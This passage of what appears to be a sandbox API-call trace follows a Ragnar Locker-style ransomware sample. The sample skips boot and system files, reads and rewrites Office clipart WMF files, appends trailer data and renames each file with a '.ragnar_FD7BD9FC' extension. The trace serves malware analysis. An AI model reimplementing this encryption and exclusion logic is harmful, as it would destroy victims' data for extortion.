lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.ragnar_FD7BD9FC" [0080.297] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.300] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0080.300] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.300] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD20013_.WMF" | out: lpString1="BD20013_.WMF") returned="BD20013_.WMF" [0080.300] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned=".WMF" [0080.300] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.300] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="autorun.inf") returned 1 [0080.300] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="boot.ini") returned -1 [0080.300] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="bootfont.bin") returned -1 [0080.300] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="bootsect.bak") returned -1 [0080.300] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="bootmgr") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="bootmgr.efi") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="desktop.ini") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="iconcache.db") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="ntldr") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="ntuser.dat") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="ntuser.ini") returned -1 [0080.301] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="thumbs.db") returned -1 [0080.301] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.301] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.301] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.301] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.301] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.301] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.301] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0080.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.301] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11058) returned 1 [0080.301] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.301] GetProcessHeap () returned 0x580000 [0080.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.302] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.303] VirtualAlloc (lpAddress=0x0, dwSize=0x2b32, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.303] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b32, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b32, lpOverlapped=0x0) returned 1 [0080.304] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.304] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b32, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.304] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b32, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b32, lpOverlapped=0x0) returned 1 [0080.304] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b32, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.304] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.305] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.305] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.305] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.305] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.305] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.305] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.305] GetProcessHeap () returned 0x580000 [0080.305] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.305] CloseHandle (hObject=0xf4) returned 1 [0080.305] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" [0080.305] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.ragnar_FD7BD9FC" [0080.305] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.306] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0080.306] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.306] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00008_.WMF" | out: lpString1="BL00008_.WMF") returned="BL00008_.WMF" [0080.306] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned=".WMF" [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="autorun.inf") returned 1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="boot.ini") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="bootfont.bin") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="bootsect.bak") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="bootmgr") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="bootmgr.efi") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="desktop.ini") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="iconcache.db") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="ntldr") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="ntuser.dat") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="ntuser.ini") returned -1 [0080.306] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="thumbs.db") returned -1 [0080.306] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.306] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.306] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.306] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.306] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.306] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.306] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0080.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.307] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12520) returned 1 [0080.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.308] GetProcessHeap () returned 0x580000 [0080.308] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.308] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.309] VirtualAlloc (lpAddress=0x0, dwSize=0x30e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.309] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30e8, lpOverlapped=0x0) returned 1 [0080.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.311] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.311] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30e8, lpOverlapped=0x0) returned 1 [0080.311] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.311] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.311] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.311] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.311] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.312] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.312] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.312] GetProcessHeap () returned 0x580000 [0080.312] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.312] CloseHandle (hObject=0xf4) returned 1 [0080.312] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" [0080.312] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.ragnar_FD7BD9FC" [0080.312] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.314] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0080.314] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.314] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00012_.WMF" | out: lpString1="BL00012_.WMF") returned="BL00012_.WMF" [0080.314] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned=".WMF" [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="autorun.inf") returned 1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="boot.ini") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="bootfont.bin") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="bootsect.bak") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="bootmgr") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="bootmgr.efi") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="desktop.ini") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="iconcache.db") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="ntldr") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="ntuser.dat") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="ntuser.ini") returned -1 [0080.314] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="thumbs.db") returned -1 [0080.314] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.314] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.314] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.314] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.314] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.314] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.314] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0080.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.316] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9818) returned 1 [0080.316] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2651, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.316] GetProcessHeap () returned 0x580000 [0080.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.316] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.318] VirtualAlloc (lpAddress=0x0, dwSize=0x265a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.318] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x265a, lpOverlapped=0x0) returned 1 [0080.319] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.319] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x265a, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.319] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x265a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x265a, lpOverlapped=0x0) returned 1 [0080.320] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x265a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.320] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x265a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.320] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.320] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.320] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.320] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.320] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.320] GetProcessHeap () returned 0x580000 [0080.320] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.320] CloseHandle (hObject=0xf4) returned 1 [0080.320] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" [0080.321] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.ragnar_FD7BD9FC" [0080.321] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 